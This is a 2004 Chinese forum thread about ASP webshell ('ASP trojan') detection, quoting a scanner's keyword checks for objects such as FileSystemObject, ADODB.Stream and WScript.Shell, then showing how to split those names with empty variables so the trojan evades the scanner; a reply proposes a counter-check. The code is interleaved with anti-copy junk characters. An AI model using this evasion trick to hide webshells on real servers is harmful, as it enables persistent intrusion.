QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 2054|回复: 1
打印 上一主题 下一主题

从容应对ASP木马追捕

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-6 02:16 |只看该作者 |倒序浏览
|招呼Ta 关注Ta

网上盛传ASP木马追捕,据说有位叫blueeyes的大侠编制了一ASP代码检查你的网站中是否含有可疑ASP..

$ g* p# L+ Z4 l

(ASP木马) ; e% i$ w( s2 \6 Q0 }5 m 你看 : 6 }0 @+ v$ `+ n4 `3 W3 x, e    if instr(filetxt,"scripting.filesystemobject")>0 then fso = yes else fso = no 2 y* C/ j; Q: V# B    if fso = yes then * E6 N& M7 N* X& D       if instr(filetxt,"deletefolder")>0 or instr(filetxt,"delete")>0 then del =yes else del = no 2 [6 e" g! O1 g+ o8 O9 F7 q5 K$ l      if instr(filetxt,"opentextfile")>0 or instr(filetxt,"createtextfile")>0 or instr(filetxt,"openastextstream")>0 then create =yes else create = no 2 F! R9 f5 e. e v' Z& g, T      if instr(filetxt,"move")>0 then mov = yes else mov = no 3 U# a" V& p+ W& p$ q    end if * [5 t- h; a% ~! q; u7 O+ S# Z/ M    if instr(filetxt,"adodb.stream")>0 then stream = yes else stream = no ) j: N+ i4 j* j2 f P6 t& x    if instr(filetxt,"shell.application")>0 then shell = yes else shell = no , S$ s( E6 H2 `. ]- p& w    if instr(filetxt,"wscript")>0 then ws = yes else ws = no ) V# y* @* j8 @- o+ H" f: @    if instr(filetxt,"xmlhttp")>0 then xmlhttp =yes else xmlhttp = no + l! @# u% f& t3 {' Y/ o" k    if instr(filetxt,"vbscript.encode")> 0 or instr(filetxt,"javascript.encode")> 0 then encode = yes else encode = no 9 k, G1 a* z3 _0 M6 Y8 k8 [   filetxt = "" / G9 l; s$ \: c呵呵,厉害!!! ; c* E, n- M# E) u+ H) r 咱们的饭碗真的要被砸了吗? - S: s6 g+ j1 W0 I% x( F" p道高一尺;魔高一丈;看我的! - @8 L" z& T6 Z7 X9 c* G) C* p; {它不是检查创建对象里的字符串吗?好!我来加个空值的变量:

( C5 m' t' c$ w. W( W8 L: e 5 z9 b8 p+ B1 p/ C 2 W4 r }0 O! _, Z# D

set im=server.CreateObject("Scr"&b&"ipting.Dictionary") : J1 d* H& q3 d2 u set lP=server.CreateObject("Ado"&l&"db.Stream") ~) r, w* j4 Uset fB=Server.CreateObject("Scr"&u&"ipting.FileSystemObject") 2 z, |' \; ~6 v: ^; i' G6 ?5 @Set tN=Server.CreateObject("WSC"&e&"RIPT.NETWORK") - ?! g% o: j$ V0 | }$ c set sa=server.createobject("she"&e&"ll.application") & F& K/ \$ y* ^& \1 ^# A1 Nset TV=server.createobject("WSC"&y&"RIPT.shell")

% }/ e3 q: p4 E# \7 Y

哈哈;刚刚加进一只眼我们可爱的蓝眼睛就视而不见啦! / x# c, I0 x" m 别忘了:我们加的是空值变量,而空值变量的名字在不违反ASP规则的前提下是可以随意起名字的 0 m" a# \- m' R B: |7 k! `中文英文;呵呵万国文字.蓝眼睛视力再好也是睁眼瞎耶 $ d- P6 [$ |( w' l0 w) ^# eBTW:其实把马放在我们那个小秘密里说的目录里蓝眼睛连哪个目录都看不见更别说看马里的代码了 1 T( x9 X8 e) v2 W* W* w) q- J* Z让蓝眼睛望马兴叹吧!!!....over

zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
ilikenba 实名认证       

1万

主题

49

听众

2万

积分

  • TA的每日心情
    奋斗
    2024-6-23 05:14
  • 签到天数: 1043 天

    [LV.10]以坛为家III

    社区QQ达人 新人进步奖 优秀斑竹奖 发帖功臣

    群组万里江山

    群组sas讨论小组

    群组长盛证券理财有限公司

    群组C 语言讨论组

    群组Matlab讨论组

    是不是可以找到CreateObject,然后将他的括号里面的东西付给一个变量运行后再判断!
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册地址

    qq
    收缩
    • 电话咨询

    • 04714969085
    fastpost

    关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

    手机版|Archiver| |繁體中文 手机客户端  

    蒙公网安备 15010502000194号

    Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

    GMT+8, 2026-4-18 14:12 , Processed in 0.294059 second(s), 58 queries .

    回顶部